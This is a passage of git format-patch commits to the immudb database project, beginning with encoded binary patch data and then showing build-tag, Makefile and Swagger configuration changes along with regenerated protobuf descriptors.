zNPiZ`Yx3(VTqDl?H6=+IJ&jCdhXez#-w|awYM1oLX+=hzPCDtWQ_)nR0$1?K#Ln(~ zXY15-C154F)t`PN0y-zePal>>{0;mi02^Xy*qd8bep6_QQej{=6?SQ$ig)_$KjvE^BR=kB5sgYP= zVGN$qgi)w3^OC(&;2+BdvS$HX_!QOhX_TG02oen<^7)JR6W7t$4C)8~T^lU|9ag}{ zZk1p^8|yUUG(i5ejp15hXaP1~#=XOc@5?afXV~ z`YPy+yHzDpLJF_hEmnV;j=a+Sy7e7M0V!PM#yuI(NL;(JO~+?hJhNa zIjY}GI}W`>l^ocnBE;}#?YPCohs96q*;N}%icyx2{XYQ!F#pf+#5*enc~gzVSYT(Z zjMo1!xDVL_30R8{udc$x=j-eH`{Uy~R6onmPBP8Q4xL#kOD*?w9Be?yLj^b>Icc&A zlt0x`1@F-3{MTu)-+Nh^8i15OxQmDzi3p)8b>+uF3N**x280YTfB@{r1l|DQnz0Lr z;D%}$IS0f65}qjWCLu9tTcbgZq}s^l2rOeKmLO5>e;IxyExDD=*a8~Whb}xpUcmBO zf16BOZY$&)z4a@#v013Ccgq(0BkJ3d1_X5YDONJlu&Vw55*=lnL`f7R{7OP64F?h7 zz$PFe9@G}BD$ADWud^c02V zmP~AS<4{?wWyQQS+{)4-tw_d*&pRMOaR$pMlX0!8-vnB+8qA0zqafieZ)jC6W`91c zrNOEZg6}zkaBhi-Q_;`Z$*HdA=k437c=@sXJ=(A!@!(l!Q$=!NPwW>Lt2P5 zl5w7d5x7{y`T6r^Wiba1`W15Qb1u*j6`Ot2tUjK{gv8H~JEaO;Kv6Cvv~DVpmUzQ2 z(pUxW0z;L`%{<#w70fju(N3H{hDbhTr{)yrH8dS@gX9y;N_cMad10_W$R^vE3HMc6-{q?N|FZ?86+P4QP`H-vTa0 zo-Fj4QMU-*s~Cxh_eVJid_zQ_?8~u5MkE4gF&^{3$w*pM zV6~SvLZrbjtzOP(xdL9e7Yg$VOuTJoqifR3@dNTcNEjsyFr%#YOSK-`-H2Uk`m+}j zt!EvYGN=GnXj;}cWDQ6S_c@2qfHu;3WSVche=7I2V44{x(1yp72q6NNagY8F$MQBT zUAUh;N5~y-o6Xqr!hmf_&6epXA_x*FFW3I9w~97gM0`2tcT#=+3r|6&txr}GBEA$N z(6qcEB2zLvWoowANO@V`ca)k5@#89_w1R6&L}rkx2kU40!)ms#Jm9#`Kuce zoAwJlP^T7O1HwYWwW=CwD(pynG)_HE;egvb286gQU9tX4w>p_vL~x60e7RwGLM(#+ zmv$ujuVX`cc&VLh*+Iz<#|kD1>(Mv_sZJVk*07)Mg5v%F+PG&V0Rm#mQ}_E3w=mK<{G;hZD1OykM|J?8(G~U~Q z$|8_P__fdFG3r%HrvZv3S<6N`A)>S~0?W_jX`np9-qu4`Mlji&-r>$%Ygf@c!N4a^ z6e4zs>Xj;Tmnt4>bh{;!?5BMU2}m1HNk}A~l2&5bcKh?}6Tq!+`+W zYF+ZAqnu84_9|~plKW6kKyddGR)_!+CfG+;=N+?l`TZHirmTZ1hKjeM)qRU;g&>_4xX_1z$G9S7S^- zNH;+tp-2Hgy8bdmP*vem#bKN{+d{bHOM?Ejc+;T=;SmCVl$?LMqxGU;*%J}GLoTla zVl}F@$ATuc92}j5o09?$x38MCQ^i&P7tGgStISY|#aj_P>s3Wtp6>bQ5TQSRill*n zm9d5GQQL7@(4dPDF%QnqpGAaW1WyEq5j_mcixF!@&^O>r` zrV8ay^0s_Dr{JTJHY#cfBvme_UGrbBoSnDXixSy@N{&@e2jqU$T&En zovU-+CykVOW!*M)@I3OguehG5ZK{y9CwUC1XvB%1 z*8JY|<)o0qM#V<%FS89tgw;?a@km4&Ot{>^xk6kjHb2~0JQM=~;R_B!C4{<8!^xGI z3lh#K`{$=55%kxh5&G^01$c|PyZrSr0*J(2;?L83fe2-a)M-%|>ZG^x+vUW0s|2rC z^S20i9YcYW2Jp(37ITy;XrN9Umj0*wB3tL3jWvnOR48__{aqxnU98=i?E-8Ou#p79J7|h2Sk~@=93wcBx_y zi@vZADr(Plg@nQs8Y>iZb4eRgOCFpY?p3mjMEdQu=K%R&?wT15Oe8?5ETI5miLR&H zEt;N|Q;r{cbT#~?dC~B3CCB2w7Ho8iULwv*zqA`$&(A*`!$Bz?d=N_VU?x)Nb1?#l z#B)d_R3{!vN*5d+CUB#hzI3lhKALp84IqJUlKDnnqqK>mdxQt}G=?B>NI`6cUIHE^ z=xS(U2I?PREex=Q$tbLFUufD66>cpX5-LaM`x2qY4@ClYyw ze9hs3yj&-f`4*l9_$x$G&toldmt;-o>Fz<5dpstOugDf6>6#SDXz zLpVGKi0wHXBvE-`S!|7(%LXE1g=PNAWiMjCY`Ga;s-DvB}%bA!Mrn6K=8C1^F$JrpT4escghaJ@y*0HLq6CfZUCQ|ld@HX3HV4H zVV9!@)4DawX_Ykix=0;3V)I3;bZq+%pRHtdT=%HEs)!E6g_UPK}6yh5Q(NF1=S+c!r>ts zZPCv2E007ywz5Y*=xor4Bwe9towBv(BL)D}+8+$xtZ9)m>{8!5sv2tPnut)1H#4RH z`Plq7luB@zQ1NZylzr5${^OS>BSoq=e2Cye^5M;~h}p+tv8vxb8j!%WQ3Zm`j&Z!x zN1(8dw3e-iFbSh9;F8Stc1a!jtjxZ~1B$tdyCjXGf>JA47NVM}Mr$!&dmiqcKsSM3 zKi%8usoT&vU{gHML_{${@(7i;&NM(7kqjC1=JMSS&cUJd4(zb5{_~f}8)DTH^F`r8 z63~lk5ng_DX(Q@m>t2XJ%YeKE5hg%T!q`xKal19SV{`0bq>4;JJjxAX3GejEd}sOS ziut;6CChg$I7RrrwBl}M)R*KR28hU2vvyRCw$(7*POuqk@7F-7VSl7900^HqDh&BE z?`0Xi`2pdKUh)#4NjAFU4+;?>>d#yR2!P>KyM&?3*Uhn?wJtoSq7anh2QQ;W!&9t1 z4XZG3w@)?Db}*rU-)YD!z&NS+3>gW0X0A0(*pH~feni*U6U+;T1PN(wCa+v2m%#() z4O$0X)ZsQb&A>;Z@z9Ehh6_c}F+8?p=wC_!V!K(=2rn}MqMxKEXnU6jnB&)o=qxrOMBD~x!#~rgN%sNbSeD0mKOnI;^h#5dE=ePA)68o5xekh=fT&aaUgakJu$(VrVA0jf4Zins5Ww! zF`yy4r3uDzuBY4H0fL5aV~C;{2!!A@O8`1Q;;k z#rkh%j7~&E5AP!siP3rm8cLa}V#hO2n03%>i?p~%FVRgq68HMiXVi{pZ$|jEk>tZ5 z(FBCLaEKuLnK(#rdeHV?lQ(ep&*~-GLj=Z<>|BfLlP`d{w1LJdC7&pqfak%WjA0RR z=Mh1Z>{D245P?7%dF=~SFqCo`I6B5lMW0wq`N#YWJg`s9rQ+mcYoDMw5pZnx87SjKRO zaLiIEAcB(eA&(%Dw)s8qpkWZOl89=L_kR`H6XjNJx30s3EA}((tj-(SS)vbSMUpB} zUBdfeK_VuWers$wYrt3Sbp-^pWgup)3`1I7!Y2_Ww2=|My zl+zay4OW@|9Y8dLL`4lM?TZcV`j%cp(+m-4rd*tDNU&UTP7}Rp00`JT*?t2M77;?4 zAE_+W;l^!wnXh%nL148HG`CN+Kik%EohRsXKy4ZiSnd1Pi3m8z(-RWS%JbsA2^S zsq#nmAbMGcse-Bs)Z8*2aO82{b&ka*jbNM>RT`=zX}DF4ybmN=4mhQMD@0(B2wl|Q z7UVP}_C-okUhZTXi6QaPCB79(%UfH3CLtgu^Kv@>79h}b*@W-}2h*19B~qL3-6+Q| z^=jpUfK+BzZi%PUo+3;}(eR|3R|daq_|ADqw7Bf&mz;35mK$sCR?a>a;atOl0{fQq z^YGK9Tm|!0Ysd6cm$LjsaUG_N|C4tu%!x8f)Le)p87P$aqAb)%qS3XIUH|`&yL9)= zFfWjR(XW)P+DB?%S%`+^@z#vA$1_4T9Am$Vk3M)U+08elu)>C z3kYayz{rfyj%Wyqncfk&!1=ge($#n^RUGS6g=J6SP8zWc5fzw_(H}kQSn~iufM6E` z1a>#RXu~U~q7vVI;+HxVFiAy@n7Bd&A)jv`%EYW@o&yj)O!As8@la1sSs!N@Qh+R^3^F>iD=i-PIPZ{%W zfPkdIcX+rxfN(5y*;W@BB3>R2%RU@eustr0q#=skFNs15;9>a8{lIM^)q4<)MX-Bm53;t5zn1Rgf``5l0+fWQzzNh1K&66dY?3I<3JhjSSqTYk4X%M2uoke{-O z2_6h$t#*hT;NkKVLcTE2Ev1spiA16cm-Icp3oZl0Y^Jx!sz!54A`#)8b83H2M@c6@ zfWJvHvin&%zn_#3&SavBIpatQSA!5yVuCpjnO_x;{Lv{Z>idDHr7J{|epA_RsAQDj2l35E|rhFT&8i8GmEiwWGpA;+s7hTLI? z2nh$|_4L+w;j#!dN{6pu9X~>;f zr|akEjx1snGi?k)OhU;cYv%w2w-G=j446S%-629t9?S#@QiaA`;pU~j0H)>X^cr6K_& zg3eTiPf>x4x2`#(U=iAuu4r=|xs}{G@`e}l%T7FZ;H?!!5EUW9tNQ0HWh<^y04`#t zpd{uug2gVMcU?S)w4oqEtZ?Z*ie}CL)1g@t8C$eAkVHgJAt_TI^S{p>X{8z>v-8^FK~@_ZZ6>>%kx*QZ z^bVI|I&@0L=JlsSBIW>yZmbe=2DUV`4krW&CcUNe$3{-b^?=wBAVlsM93IVW&qm#9 zVe~Fxz`te67mxp(-qoMty-zYhBvPSKB|0h$`5H`=-;LGJ%99S5Ho&o&NJLR)L}5oj z;9p8_EX(6+tdtEp9&Q_eHw|o*dW^PwP?=cj+n%hc(##q>z5m2RcY}G_SS*~o;AYM! zXr;dBm)9KmfV2TQW3rjk$W*dkcLPM^8##jq3C#wG8(X)B#Gs#YD-t>)&#WWzHHAh) zT!;_!{!8DvDOz}gT}b#eEXs_x?j&Nw9Q{e% zN(ASx+d_g34jC=?U}r1mTRxib6>|-;cViFC!K_x?a0VQv?CLYOXr+OX>c$4;CE4&S zSmkF|R*ANX)-aOCXKa;sdc=jTR`e1#fx+UC0I>)>eh1bw*1oUOeE9wPbFzDs=C_8e zh+GlZXr;j`(t1ST)D-57`Da&FN#46dhnEkYjaSPHf`qxP*DOHvb96Q2fJmXtfV8Bo zg5GL~;6wrksb0yda-xY5=9ml|bh36fHj^3?J#44{3$dFKh3oFDGI{YT8W38Rpo<9E z;is9y8yquoOD|#o2LzTI>gg{QlOlb4Ap(g6DH7?QuU%>u8)grDmh){;V?N(cYUXmN z&IrS3yzWLK@S;OOB3Q*>i+-<-k^9u14Ss|NTZBvamSo5sRW&U zr=?D~oZvOX1CC_wk$j*QzGp5#lvi7Ow}=RAZD?|n=4p9?R*G)8UzwC(kS;6=&tw=r zy>%`#l1hh2^aXib(E26o@8M-~miV~ZF9#?11cQTZ8Nr7Ia$2t_JNpmD88?wLyqg4s zpq6@PgLuSfV=x9Mt;DDj)v$LmMW+ot5eDPI^%Tr4^N2QdX6U#irNh{$OL^UB|2sRO&b4CL|@a{E2 zLev=;CKz4U$o7XA7yVR1fSwZKtlug>C{_Wm2hOD`14{fBOJ1yhIPx{GbiXtw zwM(hWu*COn7!U=uoD5ebBIFpA4G3GULNNrwDO-7LhL94%bRwFxl zgb8oCUGNp2Y?1F_!)v?W@AH(~2owP%u;?e6)~yZ}Ac9-Y8KhdO#Ri|yF9<_=npUO{ zMb4;fY9t~=bj%rCs(fiMDu-!5Thh(W3~NtH1jX0t5hnG4$Pw5igKqbv%Yo?#apQnM zYPow{7+%PZXz=xF+ehHf9-ayjVbrnCXci&Lrse90UN9&wJnjzY3`6{JdEDo_G+W`5 zrMrB8gfv3Nh5D%$4{S(m8T`gcge*3UQOn72F|*Rc#9HE^oZ+8f5%bSZIirXW<4UR0 zRdGnsk#SF<#kM~f$f{z1!_dnmjz$momKWFvEEOvuDp6KjGn26RhLs4d*w7I%@m=Y` zVixr|1LR5w5#ieJR%iG$G}W{}f!zo+jldV1Q(`zMW<+v7lQ97k2Cn(iS%?+k1)|H+ zN+mJ6zTBo*sl2$?uTqeJ|Mo5!$|*(E<_zq5LWub2($ApFlEW(P+O0hvGFfPNgC*t; zd(Vp|AmOMZ9Q{Px@MCaAy$UDRw^lEmml-!6B49*fqexT*A{;elku#E?-nsk8kCSMQzRiUI`9`VU)C&B3eWUHB6*Oj){UJm~(jfVv%Jl&AAZM3|)(Lx5uuw zqI>aPSCT0b)gOE3*O78Ls5KE zxxofSI8l&f0V24AltCrIBvU;DY(V4%*WArq{frZnGGQ1-(R_X32q8wH5EB`gP+61u z-XYIHs5%^ksRWozkhJ;W#zP>MbbEJzh}WHzsM48b69I?gZ3T0e)C}b#uS^miBHp@H z89~eWSxG8)+ok0m;d$Jwj9b`&Yko#8F*hCpzNH)YZXXemf{1ii1hKT7EB80$1f1678DQa^`e;8JFx?&mlRgbL z>x>hHC&CO%&(B@Ja+E~$1rm8;-jU6CF+yx*25&z?7 zqj!#}hoIz5XzVo>mRmCpKFytUwn(5u6heQXBQ!r000j!NklI{5wO$3hRp0A`xcc35VKFkqDv@>-k6Y z^QNZ?2#$%Xr4Hde$X(PGhzH}s4v+}D@N7ULXtytXN`7uzNr3PZ3raMEt+KGhl8LXToqg)wCo<$w)<3Qs!$0TE%oam%{)5bDwqv7!245h@HUhwaGP( z-8<{a?z^ki$~9r@n0xEW+Cv;Y519CNL5+DBIr&v;!8Qj(zmIU0i0;|&;bY)!VHwz< zkxuED>H^`Ixchn;CK?k+zeTCG|3O^dY>|kc-B#Pd;?_LuCJkG=y6pwhBat2uL$nuc{nZ+h;N| zG0y^j5243xo+lOx9z8#No=?TM*5w8chub^|!*s(y;8EcJwbP90suFV-D=fLzK0x5^ zRt}>k#y-Wm6YDA-x;L)+G)lCcgS^ebN$D`OnNq|gzq#2g5q}?BdSOD>RLkcmo$@gE z1fsmOX*@^?Qel0?*Uz3@)K@S%A|AfnMI0Fevp~RAVk0VXt1U-BFZSV%r9Wc#egD{3 zt7M}IW2rXddu7}Rner;oz^{sdRB($$dGFch&%=E-b@x5o?a~wf99kau0R!; zGz)#w45myQ39B#X-McWsQi>Qg5jz1DYXn06>X}jJr@Ji?nI5^R;l`g^)f$y|2Op3~ z^NaF;k`i+ad9!tcG00DDo^f|ZooAZi2vb^*6PD%ZQdFZ>TLKbcBXV5MP2}hxww_}& zwmxy9(38z5IztP8!f73G<4r`WN2eLwB`7u{IF1|_a}#*o13C!72ngKzL?V9eJ3x5s zW*iYQYB51oR#98lZX#&7iAyk{A;ka%v3W_^*w%RL9XM3xot|%#luYX}`D4-q!nq07 zjvSW=9c92E2Qg5@o|k5nQ3!}g#;MBIB3P9l@uC$utT%sCCUU4rrG`O@K?>p=5eS68 z^adi*^JPa=l}DP@{+LD>IvQ@`Etvow!Z4$N(J5K}dg=qhJMXNBkb2DCgk(LXaS5RV zm}t0(w_?KaU^5H~82tsRPqXvRgN`^)gcA|{J}Z(LhK}?tH74i>-~j{#If(WG?!>1q z5wHpBn|B^^jk7~dQAG4F1QZRCiDu}40`rnkV15ylJdl7mE>Qh@>OJGvZAmerUlOk+KSh;g0`x@OWC9e$ zY)_G+dx+Bv^#k$HOGI~8KHShZRem#Z_WA@A5#o%ekt|X#MRCjoc#6qXI2^2eFfyWe zF`RtmDp@l2d*$oP73ffXm5@ zSt8PNbA`^29KhD9NLfdbrQtCY;41>aViXriZfSt0fO(+Gq6-c%c*pgbvvhvB!L?Or}j zJkB>@Lh&FyEh5g;IY3xi6riGAWOx~U#JF)8W7ixQfCiW@4gU~079h1KaX|GzIGkEO zc67VWXLX)Rd2;x%JUc;IS{_8rLnb0=jQyJZYQ%sF*sTnQxoA2M8)`Jr zpinyy4*sbIw#cw~$J?N-Zg5H+#0+ur8U_#$SjKidSU56FH#ttAu~gVJ!DN+G3_EDJ zufkh61Tb>4^~Xr#ZOQr;zX*)uiw-GgL9pNJV}1Z9H<#asP(jtU`N|2BdF zDphbagC7MvTs@JELc+??u^ww1k*3`1%rms4GEPyhM@d>CVF(6OL`M z$`n}n3IENK0FdBVD_UZIVOj5L%&J|tf7Vt19iLFF91;;uK!`Iu9FBS-7kHqrCZqf; zC04g+ac2ul-@{uc)Ih(G03ZfLgbNrftK-Gar02SKn@2ZY+;A7h(q_d%!g5~i`dCN= z-T4u2J7X|l)B?is;C1%1Jl2Wlfdnn;@Zo(=Kg{VkVa@Foxb2S1Zr z0%B2NId?PTC>SZ3wvkBSa7KT73Tp<8OhqQ0c9#=lTDBjHvPN?5W-3b7csch@tldK zlx8eSgzGH0{JY6(ASA~FTFD$Bs4}&njJOsMDsmBnW%0a-Q64fUAeNF5R|TRl5HW(8 z1CIr%%4KE5Re*34={QD=VAkP(Qk4r=Bd!QU%rVDElX*aph*(xeTqDaUJ%oTenC1d; za#9VMzl^v-9ir3_fmlF7oSjrd=2;}VLZwo$1%VhbsfNsli0hQD0f=-VAV@?kEAg%Z zM21<04i^C8mVj7xdDs;gj5uZ)2*m8+l#)tQ%Mx*gY*)bz8rDO^3jl$WYDh$U@Z1JO zL}9XJfS}InkFQ%$L}X?WAV@^4AlX$QBD7gRRFa5TiHkrHk%kKZK_X%eE&}q5!sw-d zAQADw%@r%PRh2XMGDt+MCDBmmA{Hq`kce1A(2(FFmWmnFi@ye4DT^OPMk0c&3>pGz z5eDwvN^WU?i|j^%t}OBeTm+7ZpeC7*A2gKs@gqxvF_%7$Xp$iyRuMD`kd--!2(l{E zfXU{XLZCKZHb^XV=X=c>QnQA2JL37 ziwMSwBAqpRjCM0tmVDY&W8RhqjVD}J@~QZbcvc0Q?nzi#@`*&G(?f=!%GCPG5pghG zM$kP8L<9jrM4ZSn2nZsgbNLnlu|^{D$#n=4mFvtt^NB4}REJn05ll=XBH>I?>3WT3 zf6j{{)suERX>)6pM98QpeD8h6OQq>Dwv`eAyWyT2U6ggMnh5Ba@!Je9FNG%{R-0^q zv`l;>2Jx_3gCkuYC8`82T#y9B%ELx6mI&)0AjhDHv1+qxT!f>-hUEbr1mzej4;v!N z#@rI0xD-Rsof%tj68gN8C<6v5h)p;N#m}Acb3Blu+)4t)hB!Ku;16+Y1~KPvbZY(p00R zL8`5Lh^%{{Hi&Ho4!ih9hcQ?fhZYB+B61I#_7XPbVBBQZKV;w>A|(Z>hmE@l!IT9- z!3P^G2nRC2K!5=agaa8u0hfIf4P<0wWMpJyWMpJyWMpJyWMpJyWMuEd?#~&$MOy)2 zU)n4D!VmlXedG6Q{fIMSWPKcz>yOL3Z@PhfzjxTTA1PURZSXkd-4%v??FbOkRT87j&qF*)9^|uD3v2B&+tkGi4Rt?e0>{_v9FP%clrZ@QKK;n z4%*pRB^q_@88`SN4Bm;x#sBW#e1`0000= 200, rr.Code) + + // Test just if the response exist + page, err := ioutil.ReadAll(rr.Body) + require.NoError(t, err) + + assert.Contains(t, string(page), "Swagger UI") +} diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index 50ccd7fd39..dc5cc19b81 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -9,6 +9,7 @@ import ( "net/http" "github.com/codenotary/immudb/pkg/logger" + _ "github.com/codenotary/immudb/webconsole/webconsole" "github.com/rakyll/statik/fs" ) diff --git a/webconsole/webconsole_test.go b/webconsole/webconsole_test.go index 804a23a5b3..51916118b0 100644 --- a/webconsole/webconsole_test.go +++ b/webconsole/webconsole_test.go @@ -1,3 +1,4 @@ +//go:build webconsole // +build webconsole package webconsole From 187a218f396b881f72196789896f4531e3dbe6a2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 15:50:38 +0100 Subject: [PATCH 0244/1062] Makefile improvements for cache --- Makefile | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Makefile b/Makefile index 3d0633e793..8498fdb3dd 100644 --- a/Makefile +++ b/Makefile @@ -20,6 +20,7 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 +SWAGGER?=true SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" @@ -52,7 +53,7 @@ WEBCONSOLE_BUILDTAG= ifdef WEBCONSOLE WEBCONSOLE_BUILDTAG=webconsole endif -ifdef SWAGGER +ifeq ($(SWAGGER),true) SWAGGER_BUILDTAG=swagger endif IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG)" @@ -219,8 +220,7 @@ build/codegenv2: --doc_out=pkg/api/schemav2 --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc -.PHONY: build/embedswagger -build/embedswagger: +./swagger/dist: rm -rf swagger/dist/ curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) @@ -228,8 +228,8 @@ build/embedswagger: cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js .PHONY: swagger -ifdef SWAGGER -swagger: ./build/embedswagger +ifeq ($(SWAGGER),true) +swagger: ./swagger/dist env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger else swagger: @@ -239,7 +239,7 @@ endif .PHONY: clean clean: - rm -rf immudb immuclient immuadmin immutest ./webconsole/dist + rm -rf immudb immuclient immuadmin immutest ./webconsole/dist ./swagger/dist .PHONY: man man: From 569f695e27044f96b3b65c2dbe8a9d283b1da421 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 16:00:33 +0100 Subject: [PATCH 0245/1062] Attach old swagger --- Makefile | 1 + pkg/api/schema/schema.pb.go | 22 +++++++++++----------- pkg/api/schema/schema.proto | 2 +- pkg/api/schema/schema.swagger.json | 1 + 4 files changed, 14 insertions(+), 12 deletions(-) diff --git a/Makefile b/Makefile index 8498fdb3dd..83005fbb29 100644 --- a/Makefile +++ b/Makefile @@ -225,6 +225,7 @@ build/codegenv2: curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) cp pkg/api/schemav2/schemav2.swagger.json swagger/dist/schemav2.swagger.json + cp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js .PHONY: swagger diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index f379f3624d..ccb8590537 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -16,7 +16,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.11.4 +// protoc v3.12.4 // source: schema.proto package schema @@ -10226,10 +10226,10 @@ var file_schema_proto_rawDesc = []byte{ 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, @@ -10244,14 +10244,14 @@ var file_schema_proto_rawDesc = []byte{ 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, - 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, + 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, + 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, + 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, + 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 00b8f8b2e2..7f4aca29f4 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -25,6 +25,7 @@ import "protoc-gen-swagger/options/annotations.proto"; option go_package = "github.com/codenotary/immudb/pkg/api/schema"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { + base_path: "/api", info: { title: "immudb REST API"; description: "IMPORTANT: All get and safeget functions return base64-encoded keys and values, while all set and safeset functions expect base64-encoded inputs." @@ -1902,5 +1903,4 @@ service ImmuService { body: "*" }; } - } diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 40b229134b..004ead5656 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -5,6 +5,7 @@ "description": "\u003cb\u003eIMPORTANT\u003c/b\u003e: All \u003ccode\u003eget\u003c/code\u003e and \u003ccode\u003esafeget\u003c/code\u003e functions return \u003cu\u003ebase64-encoded\u003c/u\u003e keys and values, while all \u003ccode\u003eset\u003c/code\u003e and \u003ccode\u003esafeset\u003c/code\u003e functions expect \u003cu\u003ebase64-encoded\u003c/u\u003e inputs.", "version": "version not set" }, + "basePath": "/api", "consumes": [ "application/json" ], From cf860306b945125cc05669637dd7a2e569cba29e Mon Sep 17 00:00:00 2001 From: 